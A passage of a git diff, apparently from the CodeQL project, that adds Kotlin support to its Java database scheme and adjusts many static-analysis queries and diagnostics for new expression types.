+| 55  = @instanceofexpr
+| 56  = @localvariabledeclexpr
+| 57  = @typeliteral
+| 58  = @thisaccess
+| 59  = @superaccess
+| 60  = @varaccess
+| 61  = @methodaccess
+| 62  = @unannotatedtypeaccess
+| 63  = @arraytypeaccess
+| 64  = @packageaccess
+| 65  = @wildcardtypeaccess
+| 66  = @declannotation
+| 67  = @uniontypeaccess
+| 68  = @lambdaexpr
+| 69  = @memberref
+| 70  = @annotatedtypeaccess
+| 71  = @typeannotation
+| 72  = @intersectiontypeaccess
+| 73  = @switchexpr
+| 74  = @errorexpr
+| 75  = @whenexpr
+| 76  = @getclassexpr
+| 77  = @safecastexpr
+| 78  = @implicitcastexpr
+| 79  = @implicitnotnullexpr
+| 80  = @implicitcoerciontounitexpr
+| 81  = @notinstanceofexpr
+| 82  = @stmtexpr
+| 83  = @stringtemplateexpr
+| 84  = @notnullexpr
+| 85  = @unsafecoerceexpr
+| 86  = @valueeqexpr
+| 87  = @valueneexpr
+| 88  = @propertyref
+;
+
+/** Holds if this `when` expression was written as an `if` expression. */
+when_if(unique int id: @whenexpr ref);
+
+/** Holds if this `when` branch was written as an `else` branch. */
+when_branch_else(unique int id: @whenbranch ref);
+
+@classinstancexpr = @newexpr | @lambdaexpr | @memberref | @propertyref
+
+@annotation = @declannotation | @typeannotation
+@typeaccess = @unannotatedtypeaccess | @annotatedtypeaccess
+
+@assignment = @assignexpr
+             | @assignop;
+
+@unaryassignment = @postincexpr
+                 | @postdecexpr
+                 | @preincexpr
+                 | @predecexpr;
+
+@assignop = @assignaddexpr
+             | @assignsubexpr
+             | @assignmulexpr
+             | @assigndivexpr
+             | @assignremexpr
+             | @assignandexpr
+             | @assignorexpr
+             | @assignxorexpr
+             | @assignlshiftexpr
+             | @assignrshiftexpr
+             | @assignurshiftexpr;
+
+@literal = @booleanliteral
+             | @integerliteral
+             | @longliteral
+             | @floatingpointliteral
+             | @doubleliteral
+             | @characterliteral
+             | @stringliteral
+             | @nullliteral;
+
+@binaryexpr = @mulexpr
+             | @divexpr
+             | @remexpr
+             | @addexpr
+             | @subexpr
+             | @lshiftexpr
+             | @rshiftexpr
+             | @urshiftexpr
+             | @andbitexpr
+             | @orbitexpr
+             | @xorbitexpr
+             | @andlogicalexpr
+             | @orlogicalexpr
+             | @ltexpr
+             | @gtexpr
+             | @leexpr
+             | @geexpr
+             | @eqexpr
+             | @neexpr
+             | @valueeqexpr
+             | @valueneexpr;
+
+@unaryexpr =   @postincexpr
+             | @postdecexpr
+             | @preincexpr
+             | @predecexpr
+             | @minusexpr
+             | @plusexpr
+             | @bitnotexpr
+             | @lognotexpr
+             | @notnullexpr;
+
+@caller =  @classinstancexpr
+         | @methodaccess
+         | @constructorinvocationstmt
+         | @superconstructorinvocationstmt;
+
+callableBinding(
+  unique int callerid: @caller ref,
+  int callee: @callable ref
+);
+
+memberRefBinding(
+  unique int id: @expr ref,
+  int callable: @callable ref
+);
+
+propertyRefGetBinding(
+  unique int id: @expr ref,
+  int getter: @callable ref
+);
+
+propertyRefFieldBinding(
+  unique int id: @expr ref,
+  int field: @field ref
+);
+
+propertyRefSetBinding(
+  unique int id: @expr ref,
+  int setter: @callable ref
+);
+
+@exprparent = @stmt | @expr | @whenbranch | @callable | @field | @fielddecl | @class | @interface | @param | @localvar | @typevariable;
+
+variableBinding(
+  unique int expr: @varaccess ref,
+  int variable: @variable ref
+);
+
+@variable = @localscopevariable | @field;
+
+@localscopevariable = @localvar | @param;
+
+localvars(
+  unique int id: @localvar,
+  string nodeName: string ref,
+  int typeid: @type ref,
+  int parentid: @localvariabledeclexpr ref
+);
+
+localvarsKotlinType(
+  unique int id: @localvar ref,
+  int kttypeid: @kt_type ref
+);
+
+@namedexprorstmt = @breakstmt
+                 | @continuestmt
+                 | @labeledstmt
+                 | @literal;
+
+namestrings(
+  string name: string ref,
+  string value: string ref,
+  unique int parent: @namedexprorstmt ref
+);
+
+/*
+ * Modules
+ */
+
+#keyset[name]
+modules(
+  unique int id: @module,
+  string name: string ref
+);
+
+isOpen(
+  int id: @module ref
+);
+
+#keyset[fileId]
+cumodule(
+  int fileId: @file ref,
+  int moduleId: @module ref
+);
+
+@directive = @requires
+           | @exports
+           | @opens
+           | @uses
+           | @provides
+
+#keyset[directive]
+directives(
+  int id: @module ref,
+  int directive: @directive ref
+);
+
+requires(
+  unique int id: @requires,
+  int target: @module ref
+);
+
+isTransitive(
+  int id: @requires ref
+);
+
+isStatic(
+  int id: @requires ref
+);
+
+exports(
+  unique int id: @exports,
+  int target: @package ref
+);
+
+exportsTo(
+  int id: @exports ref,
+  int target: @module ref
+);
+
+opens(
+  unique int id: @opens,
+  int target: @package ref
+);
+
+opensTo(
+  int id: @opens ref,
+  int target: @module ref
+);
+
+uses(
+  unique int id: @uses,
+  string serviceInterface: string ref
+);
+
+provides(
+  unique int id: @provides,
+  string serviceInterface: string ref
+);
+
+providesWith(
+  int id: @provides ref,
+  string serviceImpl: string ref
+);
+
+/*
+ * Javadoc
+ */
+
+javadoc(
+  unique int id: @javadoc
+);
+
+isNormalComment(
+  int commentid : @javadoc ref
+);
+
+isEolComment(
+  int commentid : @javadoc ref
+);
+
+hasJavadoc(
+  int documentableid: @member ref,
+  int javadocid: @javadoc ref
+);
+
+#keyset[parentid,idx]
+javadocTag(
+  unique int id: @javadocTag,
+  string name: string ref,
+  int parentid: @javadocParent ref,
+  int idx: int ref
+);
+
+#keyset[parentid,idx]
+javadocText(
+  unique int id: @javadocText,
+  string text: string ref,
+  int parentid: @javadocParent ref,
+  int idx: int ref
+);
+
+@javadocParent = @javadoc | @javadocTag;
+@javadocElement = @javadocTag | @javadocText;
+
+@classorinterface = @interface | @class;
+@classorinterfaceorpackage = @classorinterface | @package;
+@classorinterfaceorcallable = @classorinterface | @callable;
+@boundedtype = @typevariable | @wildcard;
+@reftype = @classorinterface | @array | @boundedtype;
+@classorarray = @class | @array;
+@type = @primitive | @reftype;
+@callable = @method | @constructor;
+
+/** A program element that has a name. */
+@element = @package | @modifier | @annotation |
+           @locatableElement;
+
+@locatableElement = @file | @primitive | @class | @interface | @method | @constructor | @param | @exception | @field |
+                    @boundedtype | @array | @localvar | @expr | @stmt | @import | @fielddecl | @kt_type | @kt_type_alias |
+                    @kt_property;
+
+@modifiable = @member_modifiable| @param | @localvar ;
+
+@member_modifiable = @class | @interface | @method | @constructor | @field | @kt_property;
+
+@member = @method | @constructor | @field | @reftype ;
+
+/** A program element that has a location. */
+@locatable = @typebound | @javadoc | @javadocTag | @javadocText | @xmllocatable | @ktcomment |
+             @locatableElement;
+
+@top = @element | @locatable | @folder;
+
+/*
+ * XML Files
+ */
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*
+ * configuration files with key value pairs
+ */
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
+
+ktComments(
+  unique int id: @ktcomment,
+  int kind: int ref,
+  string text : string ref
+)
+
+ktCommentSections(
+  unique int id: @ktcommentsection,
+  int comment: @ktcomment ref,
+  string content : string ref
+)
+
+ktCommentSectionNames(
+  unique int id: @ktcommentsection ref,
+  string name : string ref
+)
+
+ktCommentSectionSubjectNames(
+  unique int id: @ktcommentsection ref,
+  string subjectname : string ref
+)
+
+#keyset[id, owner]
+ktCommentOwners(
+  int id: @ktcomment ref,
+  int owner: @top ref
+)
+
+@breakcontinuestmt = @breakstmt
+                   | @continuestmt;
+
+@ktloopstmt = @whilestmt
+            | @dostmt;
+
+ktBreakContinueTargets(
+  unique int id: @breakcontinuestmt ref,
+  int target: @ktloopstmt ref
+)
+
+ktExtensionFunctions(
+  unique int id: @method ref,
+  int typeid: @type ref,
+  int kttypeid: @kt_type ref
+)
+
+ktProperties(
+  unique int id: @kt_property,
+  string nodeName: string ref
+)
+
+ktPropertyGetters(
+  unique int id: @kt_property ref,
+  int getter: @method ref
+)
+
+ktPropertySetters(
+  unique int id: @kt_property ref,
+  int setter: @method ref
+)
+
+ktPropertyBackingFields(
+  unique int id: @kt_property ref,
+  int backingField: @field ref
+)
+
+ktSyntheticBody(
+  unique int id: @callable ref,
+  int kind: int ref
+  // 1: ENUM_VALUES
+  // 2: ENUM_VALUEOF
+)
+
+ktLocalFunction(
+  unique int id: @method ref
+)
+
+ktInitializerAssignment(
+  unique int id: @assignexpr ref
+)
+
+ktPropertyDelegates(
+  unique int id: @kt_property ref,
+  unique int variableId: @variable ref
+)
+
+compiler_generated(
+  unique int id: @element ref,
+  int kind: int ref
+  // 1: Declaring classes of adapter functions in Kotlin
+)
+
+ktFunctionOriginalNames(
+  unique int id: @method ref,
+  string name: string ref
+)
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/upgrade.properties b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/upgrade.properties
new file mode 100644
index 00000000000..404ee8b49b8
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/upgrade.properties
@@ -0,0 +1,6 @@
+description: Add Kotlin support
+compatibility: backwards
+compilations.rel: run compilations.qlo
+diagnostics.rel: run diagnostics.qlo
+compilation_finished.rel: run compilation_finished.qlo
+
diff --git a/java/ql/src/Advisory/Declarations/MissingOverrideAnnotation.ql b/java/ql/src/Advisory/Declarations/MissingOverrideAnnotation.ql
index 3e09f729739..1ad81badd22 100644
--- a/java/ql/src/Advisory/Declarations/MissingOverrideAnnotation.ql
+++ b/java/ql/src/Advisory/Declarations/MissingOverrideAnnotation.ql
@@ -21,6 +21,7 @@ from OverridingMethod m, Method overridden
 where
   m.fromSource() and
   m.overrides(overridden) and
+  not m.hasModifier("override") and
   not m.isOverrideAnnotated() and
   not exists(FunctionalExpr mref | mref.asMethod() = m)
 select m, "This method overrides $@; it is advisable to add an Override annotation.", overridden,
diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md
index 921b195faa8..33afe732888 100644
--- a/java/ql/src/CHANGELOG.md
+++ b/java/ql/src/CHANGELOG.md
@@ -1,3 +1,22 @@
+## 0.1.2
+
+### Query Metadata Changes
+
+* Query `java/predictable-seed` now has a tag for CWE-337. 
+
+### Minor Analysis Improvements
+
+* Query `java/insecure-cookie` now tolerates setting a cookie's secure flag to `request.isSecure()`. This means servlets that intentionally accept unencrypted connections will no longer raise an alert.
+* The query `java/non-https-urls` has been simplified
+and no longer requires its sinks to be `MethodAccess`es.
+* The logic to detect `WebView`s with JavaScript (and optionally file access) enabled in the query `java/android/unsafe-android-webview-fetch` has been improved.
+
+## 0.1.1
+
+### Minor Analysis Improvements
+
+* Query `java/insecure-cookie` no longer produces a false positive if `cookie.setSecure(...)` is called passing a constant that always equals `true`.
+
 ## 0.1.0
 
 ### Query Metadata Changes
diff --git a/java/ql/src/Diagnostics/DiagnosticsReporting.qll b/java/ql/src/Diagnostics/DiagnosticsReporting.qll
index 72403ea120f..63819fe02c2 100644
--- a/java/ql/src/Diagnostics/DiagnosticsReporting.qll
+++ b/java/ql/src/Diagnostics/DiagnosticsReporting.qll
@@ -3,6 +3,7 @@
  */
 
 import java
+import semmle.code.java.Diagnostics
 
 /** Gets the SARIF severity level that indicates an error. */
 private int getErrorSeverity() { result = 2 }
@@ -10,38 +11,45 @@ private int getErrorSeverity() { result = 2 }
 /** Gets the SARIF severity level that indicates a warning. */
 private int getWarnSeverity() { result = 1 }
 
-private predicate knownWarnings(@diagnostic d, string msg, int sev) {
+private predicate knownWarnings(Diagnostic d, string msg, int sev) {
   exists(string filename |
-    diagnostics(d, 2, _, "Skipping Lombok-ed source file: " + filename, _, _) and
+    d.getSeverity() = 2 and
+    d.getMessage() = "Skipping Lombok-ed source file: " + filename and
     msg = "Use of Lombok detected. Skipping file: " + filename and
     sev = getWarnSeverity()
   )
 }
 
-private predicate knownErrors(@diagnostic d, string msg, int sev) {
+private predicate knownErrors(Diagnostic d, string msg, int sev) {
   exists(string numErr, Location l |
-    diagnostics(d, 6, _, numErr, _, l) and
+    d.getSeverity() = 6 and
+    d.getMessage() = numErr and
+    d.getLocation() = l and
     msg = "Frontend errors in file: " + l.getFile().getAbsolutePath() + " (" + numErr + ")" and
     sev = getErrorSeverity()
   )
   or
-  exists(string filename, Location l |
-    diagnostics(d, 7, _, "Exception compiling file " + filename, _, l) and
+  exists(string filename |
+    d.getSeverity() = 7 and
+    d.getMessage() = "Exception compiling file " + filename and
     msg = "Extraction incomplete in file: " + filename and
     sev = getErrorSeverity()
   )
   or
-  exists(string errMsg, Location l |
-    diagnostics(d, 8, _, errMsg, _, l) and
+  exists(string errMsg |
+    d.getSeverity() = 8 and
+    d.getMessage() = errMsg and
     msg = "Severe error: " + errMsg and
     sev = getErrorSeverity()
   )
 }
 
-private predicate unknownErrors(@diagnostic d, string msg, int sev) {
+private predicate unknownErrors(Diagnostic d, string msg, int sev) {
   not knownErrors(d, _, _) and
-  exists(Location l, File f, int diagSev |
-    diagnostics(d, diagSev, _, _, _, l) and l.getFile() = f and diagSev > 3
+  exists(File f, int diagSev |
+    d.getSeverity() = diagSev and
+    d.getLocation().getFile() = f and
+    diagSev > 3
   |
     exists(f.getRelativePath()) and
     msg = "Unknown errors in file: " + f.getAbsolutePath() + " (" + diagSev + ")" and
@@ -53,7 +61,7 @@ private predicate unknownErrors(@diagnostic d, string msg, int sev) {
  * Holds if an extraction error or warning occurred that should be reported to end users,
  * with the message `msg` and SARIF severity `sev`.
  */
-predicate reportableDiagnostics(@diagnostic d, string msg, int sev) {
+predicate reportableDiagnostics(Diagnostic d, string msg, int sev) {
   reportableWarnings(d, msg, sev) or reportableErrors(d, msg, sev)
 }
 
@@ -61,7 +69,7 @@ predicate reportableDiagnostics(@diagnostic d, string msg, int sev) {
  * Holds if an extraction error occurred that should be reported to end users,
  * with the message `msg` and SARIF severity `sev`.
  */
-predicate reportableErrors(@diagnostic d, string msg, int sev) {
+predicate reportableErrors(Diagnostic d, string msg, int sev) {
   knownErrors(d, msg, sev) or unknownErrors(d, msg, sev)
 }
 
@@ -69,16 +77,14 @@ predicate reportableErrors(@diagnostic d, string msg, int sev) {
  * Holds if an extraction warning occurred that should be reported to end users,
  * with the message `msg` and SARIF severity `sev`.
  */
-predicate reportableWarnings(@diagnostic d, string msg, int sev) { knownWarnings(d, msg, sev) }
+predicate reportableWarnings(Diagnostic d, string msg, int sev) { knownWarnings(d, msg, sev) }
 
 /**
  * Holds if compilation unit `f` is a source file that has
  * no relevant extraction diagnostics associated with it.
  */
 predicate successfullyExtracted(CompilationUnit f) {
-  not exists(@diagnostic d, Location l |
-    reportableDiagnostics(d, _, _) and diagnostics(d, _, _, _, _, l) and l.getFile() = f
-  ) and
+  not exists(Diagnostic d | reportableDiagnostics(d, _, _) and d.getLocation().getFile() = f) and
   exists(f.getRelativePath()) and
   f.fromSource()
 }
diff --git a/java/ql/src/Language Abuse/TypeVariableHidesType.ql b/java/ql/src/Language Abuse/TypeVariableHidesType.ql
index 695a9ddaaa0..d411c3848e2 100644
--- a/java/ql/src/Language Abuse/TypeVariableHidesType.ql	
+++ b/java/ql/src/Language Abuse/TypeVariableHidesType.ql	
@@ -19,6 +19,7 @@ RefType anOuterType(TypeVariable var) {
   result = anOuterType(var).(NestedType).getEnclosingType()
 }
 
+pragma[inline]
 RefType aTypeVisibleFrom(TypeVariable var) {
   result = anOuterType(var)
   or
diff --git a/java/ql/src/Language Abuse/UselessUpcast.ql b/java/ql/src/Language Abuse/UselessUpcast.ql
index a03dc9269dc..36810b4116e 100644
--- a/java/ql/src/Language Abuse/UselessUpcast.ql	
+++ b/java/ql/src/Language Abuse/UselessUpcast.ql	
@@ -12,7 +12,7 @@
 
 import java
 
-predicate usefulUpcast(CastExpr e) {
+predicate usefulUpcast(CastingExpr e) {
   // Upcasts that may be performed to affect resolution of methods or constructors.
   exists(Call c, int i, Callable target |
     c.getArgument(i) = e and
@@ -59,7 +59,8 @@ predicate usefulUpcast(CastExpr e) {
 
 from Expr e, RefType src, RefType dest
 where
-  exists(CastExpr cse | cse = e |
+  exists(CastingExpr cse | cse = e |
+    (cse instanceof CastExpr or cse instanceof SafeCastExpr) and
     exists(cse.getLocation()) and
     src = cse.getExpr().getType() and
     dest = cse.getType()
diff --git a/java/ql/src/Likely Bugs/Arithmetic/BadCheckOdd.ql b/java/ql/src/Likely Bugs/Arithmetic/BadCheckOdd.ql
index 70f34bcb077..6285320cee8 100644
--- a/java/ql/src/Likely Bugs/Arithmetic/BadCheckOdd.ql	
+++ b/java/ql/src/Likely Bugs/Arithmetic/BadCheckOdd.ql	
@@ -29,9 +29,9 @@ where
   not isDefinitelyPositive(lhs.getLeftOperand()) and
   lhs.getRightOperand().(IntegerLiteral).getIntValue() = 2 and
   (
-    t instanceof EQExpr and rhs.getIntValue() = 1 and parity = "oddness"
+    t instanceof ValueOrReferenceEqualsExpr and rhs.getIntValue() = 1 and parity = "oddness"
     or
-    t instanceof NEExpr and rhs.getIntValue() = 1 and parity = "evenness"
+    t instanceof ValueOrReferenceNotEqualsExpr and rhs.getIntValue() = 1 and parity = "evenness"
     or
     t instanceof GTExpr and rhs.getIntValue() = 0 and parity = "oddness"
   )
diff --git a/java/ql/src/Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql b/java/ql/src/Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql
index 90471c9d0c5..1968afa6352 100644
--- a/java/ql/src/Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql	
+++ b/java/ql/src/Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql	
@@ -30,7 +30,7 @@ predicate isConstantExp(Expr e) {
   )
   or
   // A cast expression is constant if its expression is.
-  exists(CastExpr c | c = e | isConstantExp(c.getExpr()))
+  exists(CastingExpr c | c = e | isConstantExp(c.getExpr()))
   or
   // Multiplication by 0 is constant.
   exists(MulExpr m | m = e | eval(m.getAnOperand()) = 0)
diff --git a/java/ql/src/Likely Bugs/Comparison/CompareIdenticalValues.ql b/java/ql/src/Likely Bugs/Comparison/CompareIdenticalValues.ql
index 4111276f084..4b52e937af2 100644
--- a/java/ql/src/Likely Bugs/Comparison/CompareIdenticalValues.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/CompareIdenticalValues.ql	
@@ -70,7 +70,7 @@ predicate specialCase(EqualityTest comparison, string msg) {
     // Name of boxed type corresponding to `fptp`.
     (if fptp.getName().toLowerCase() = "float" then boxedName = "Float" else boxedName = "Double") and
     // Equality tests are tests for not-`NaN`, inequality tests for `NaN`.
-    (if comparison instanceof EQExpr then neg = "!" else neg = "") and
+    (if comparison instanceof ValueOrReferenceEqualsExpr then neg = "!" else neg = "") and
     msg = "equivalent to " + neg + boxedName + ".isNaN(" + comparison.getLeftOperand() + ")"
   )
 }
diff --git a/java/ql/src/Likely Bugs/Comparison/MissingInstanceofInEquals.ql b/java/ql/src/Likely Bugs/Comparison/MissingInstanceofInEquals.ql
index 25dec899af1..346b21bb847 100644
--- a/java/ql/src/Likely Bugs/Comparison/MissingInstanceofInEquals.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/MissingInstanceofInEquals.ql	
@@ -26,6 +26,10 @@ class CheckedCast extends CastExpr {
 predicate hasTypeTest(Variable v) {
   any(InstanceOfExpr ioe).getExpr() = v.getAnAccess()
   or
+  any(NotInstanceOfExpr nioe).getExpr() = v.getAnAccess()
+  or
+  any(SafeCastExpr sce).getExpr() = v.getAnAccess()
+  or
   exists(MethodAccess ma |
     ma.getMethod().getName() = "getClass" and
     ma.getQualifier() = v.getAnAccess()
diff --git a/java/ql/src/Likely Bugs/Comparison/NoComparisonOnFloats.ql b/java/ql/src/Likely Bugs/Comparison/NoComparisonOnFloats.ql
index 9c96dc67d63..0b6f2f10d69 100644
--- a/java/ql/src/Likely Bugs/Comparison/NoComparisonOnFloats.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/NoComparisonOnFloats.ql	
@@ -12,16 +12,6 @@
 import semmle.code.java.Type
 import semmle.code.java.Expr
 
-// Either `float`, `double`, `Float`, or `Double`.
-class Floating extends Type {
-  Floating() {
-    exists(string s | s = this.getName().toLowerCase() |
-      s = "float" or
-      s = "double"
-    )
-  }
-}
-
 predicate trivialLiteral(Literal e) {
   e.getValue() = "0.0" or
   e.getValue() = "0" or
@@ -61,7 +51,7 @@ predicate similarVarComparison(EqualityTest e) {
 
 from EqualityTest ee
 where
-  ee.getAnOperand().getType() instanceof Floating and
+  ee.getAnOperand().getType() instanceof FloatingPointType and
   not ee.getAnOperand() instanceof NullLiteral and
   not trivialLiteral(ee.getAnOperand()) and
   not definedConstant(ee.getAnOperand()) and
diff --git a/java/ql/src/Likely Bugs/Comparison/ObjectComparison.ql b/java/ql/src/Likely Bugs/Comparison/ObjectComparison.ql
index 2958e690a2f..d240f908941 100644
--- a/java/ql/src/Likely Bugs/Comparison/ObjectComparison.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/ObjectComparison.ql	
@@ -19,7 +19,7 @@ class FinalFieldAccess extends VarAccess {
   FinalFieldAccess() { this.getVariable().(Field).isFinal() }
 }
 
-class ReferenceEqualityTestOnObject extends EqualityTest {
+class ReferenceEqualityTestOnObject extends ReferenceEqualityTest {
   ReferenceEqualityTestOnObject() {
     this.getLeftOperand().getType() instanceof TypeObject and
     this.getRightOperand().getType() instanceof TypeObject and
diff --git a/java/ql/src/Likely Bugs/Comparison/RefEqBoxed.ql b/java/ql/src/Likely Bugs/Comparison/RefEqBoxed.ql
index bf97d94b3e2..b5c679f67e7 100644
--- a/java/ql/src/Likely Bugs/Comparison/RefEqBoxed.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/RefEqBoxed.ql	
@@ -13,7 +13,7 @@
 
 import java
 
-from EqualityTest c
+from ReferenceEqualityTest c
 where
   c.getLeftOperand().getType() instanceof BoxedType and
   c.getRightOperand().getType() instanceof BoxedType and
diff --git a/java/ql/src/Likely Bugs/Comparison/StringComparison.ql b/java/ql/src/Likely Bugs/Comparison/StringComparison.ql
index 1f33ece559d..fd840d416e8 100644
--- a/java/ql/src/Likely Bugs/Comparison/StringComparison.ql	
+++ b/java/ql/src/Likely Bugs/Comparison/StringComparison.ql	
@@ -57,7 +57,7 @@ predicate variableValuesInterned(Variable v) {
   forall(StringValue sv | sv = v.getAnAssignedValue() | sv.isInterned())
 }
 
-from EqualityTest e, StringValue lhs, StringValue rhs
+from ReferenceEqualityTest e, StringValue lhs, StringValue rhs
 where
   e.getLeftOperand() = lhs and
   e.getRightOperand() = rhs and
diff --git a/java/ql/src/Likely Bugs/Concurrency/LazyInitStaticField.ql b/java/ql/src/Likely Bugs/Concurrency/LazyInitStaticField.ql
index cc4dd8b841e..c6f893e1095 100644
--- a/java/ql/src/Likely Bugs/Concurrency/LazyInitStaticField.ql	
+++ b/java/ql/src/Likely Bugs/Concurrency/LazyInitStaticField.ql	
@@ -16,7 +16,7 @@
 import java
 
 /** A comparison (using `==`) with `null`. */
-class NullEQExpr extends EQExpr {
+class NullEQExpr extends ValueOrReferenceEqualsExpr {
   NullEQExpr() { exists(NullLiteral l | l.getParent() = this) }
 }
 
diff --git a/java/ql/src/Likely Bugs/Concurrency/NonSynchronizedOverride.ql b/java/ql/src/Likely Bugs/Concurrency/NonSynchronizedOverride.ql
index 966762326b6..c2f61b60f8d 100644
--- a/java/ql/src/Likely Bugs/Concurrency/NonSynchronizedOverride.ql	
+++ b/java/ql/src/Likely Bugs/Concurrency/NonSynchronizedOverride.ql	
@@ -26,7 +26,7 @@ predicate delegatingSuperCall(Expr e, Method target) {
     forall(Expr arg | arg = call.getAnArgument() | arg instanceof VarAccess)
   )
   or
-  delegatingSuperCall(e.(CastExpr).getExpr(), target)
+  delegatingSuperCall(e.(CastingExpr).getExpr(), target)
 }
 
 /**
diff --git a/java/ql/src/Likely Bugs/Nullness/NullMaybe.ql b/java/ql/src/Likely Bugs/Nullness/NullMaybe.ql
index d29ebd7fb89..13a800ae539 100644
--- a/java/ql/src/Likely Bugs/Nullness/NullMaybe.ql	
+++ b/java/ql/src/Likely Bugs/Nullness/NullMaybe.ql	
@@ -21,6 +21,8 @@ from VarAccess access, SsaSourceVariable var, string msg, Expr reason
 where
   nullDeref(var, access, msg, reason) and
   // Exclude definite nulls here, as these are covered by `NullAlways.ql`.
-  not alwaysNullDeref(var, access)
+  not alwaysNullDeref(var, access) and
+  // Kotlin enforces this already:
+  not access.getLocation().getFile().isKotlinSourceFile()
 select access, "Variable $@ may be null here " + msg + ".", var.getVariable(),
   var.getVariable().getName(), reason, "this"
diff --git a/java/ql/src/Likely Bugs/Resource Leaks/CloseType.qll b/java/ql/src/Likely Bugs/Resource Leaks/CloseType.qll
index 666e0f25716..42bcc8472eb 100644
--- a/java/ql/src/Likely Bugs/Resource Leaks/CloseType.qll	
+++ b/java/ql/src/Likely Bugs/Resource Leaks/CloseType.qll	
@@ -9,7 +9,7 @@ import semmle.code.java.frameworks.Mockito
 private predicate flowsInto(Expr e, Variable v) {
   e = v.getAnAssignedValue()
   or
-  exists(CastExpr c | flowsInto(c, v) | e = c.getExpr())
+  exists(CastingExpr c | flowsInto(c, v) | e = c.getExpr())
   or
   exists(ConditionalExpr c | flowsInto(c, v) | e = c.getABranchExpr())
 }
diff --git a/java/ql/src/Likely Bugs/Statements/ReturnValueIgnored.ql b/java/ql/src/Likely Bugs/Statements/ReturnValueIgnored.ql
index 39d6e7fe16b..3355fd22190 100644
--- a/java/ql/src/Likely Bugs/Statements/ReturnValueIgnored.ql	
+++ b/java/ql/src/Likely Bugs/Statements/ReturnValueIgnored.ql	
@@ -18,7 +18,7 @@ import Chaining
 
 predicate checkedMethodCall(MethodAccess ma) {
   relevantMethodCall(ma, _) and
-  not ma.getParent() instanceof ExprStmt
+  not ma instanceof ValueDiscardingExpr
 }
 
 /**
diff --git a/java/ql/src/Likely Bugs/Termination/SpinOnField.ql b/java/ql/src/Likely Bugs/Termination/SpinOnField.ql
index 88762d1203b..8675bbd418b 100644
--- a/java/ql/src/Likely Bugs/Termination/SpinOnField.ql	
+++ b/java/ql/src/Likely Bugs/Termination/SpinOnField.ql	
@@ -17,7 +17,7 @@ import java
 class ComparisonOrEqTestExpr extends Expr {
   ComparisonOrEqTestExpr() {
     this instanceof ComparisonExpr or
-    this instanceof EqualityTest
+    this instanceof ReferenceEqualityTest
   }
 }
 
diff --git a/java/ql/src/Performance/InefficientKeySetIterator.ql b/java/ql/src/Performance/InefficientKeySetIterator.ql
index c8469d7aa53..73408d6466d 100644
--- a/java/ql/src/Performance/InefficientKeySetIterator.ql
+++ b/java/ql/src/Performance/InefficientKeySetIterator.ql
@@ -37,7 +37,7 @@ predicate isKeyNext(Expr e, KeySetIterator it) {
     ma.getQualifier().(VarAccess).getVariable() = it
   )
   or
-  isKeyNext(e.(CastExpr).getExpr(), it)
+  isKeyNext(e.(CastingExpr).getExpr(), it)
 }
 
 class Key extends LocalVariableDecl {
diff --git a/java/ql/src/Performance/InnerClassCouldBeStatic.ql b/java/ql/src/Performance/InnerClassCouldBeStatic.ql
index 1a83db097f3..02ca5544da2 100644
--- a/java/ql/src/Performance/InnerClassCouldBeStatic.ql
+++ b/java/ql/src/Performance/InnerClassCouldBeStatic.ql
@@ -130,7 +130,9 @@ predicate potentiallyStatic(InnerClass c) {
     )
   ) and
   // JUnit Nested test classes are required to be non-static.
-  not c.hasAnnotation("org.junit.jupiter.api", "Nested")
+  not c.hasAnnotation("org.junit.jupiter.api", "Nested") and
+  // There's no `static` in kotlin:
+  not c.getLocation().getFile().isKotlinSourceFile()
 }
 
 /**
diff --git a/java/ql/src/Security/CWE/CWE-190/ArithmeticCommon.qll b/java/ql/src/Security/CWE/CWE-190/ArithmeticCommon.qll
index 8edf8ec2bbb..8287ebc869e 100644
--- a/java/ql/src/Security/CWE/CWE-190/ArithmeticCommon.qll
+++ b/java/ql/src/Security/CWE/CWE-190/ArithmeticCommon.qll
@@ -14,7 +14,7 @@ private import semmle.code.java.controlflow.internal.GuardsLogic
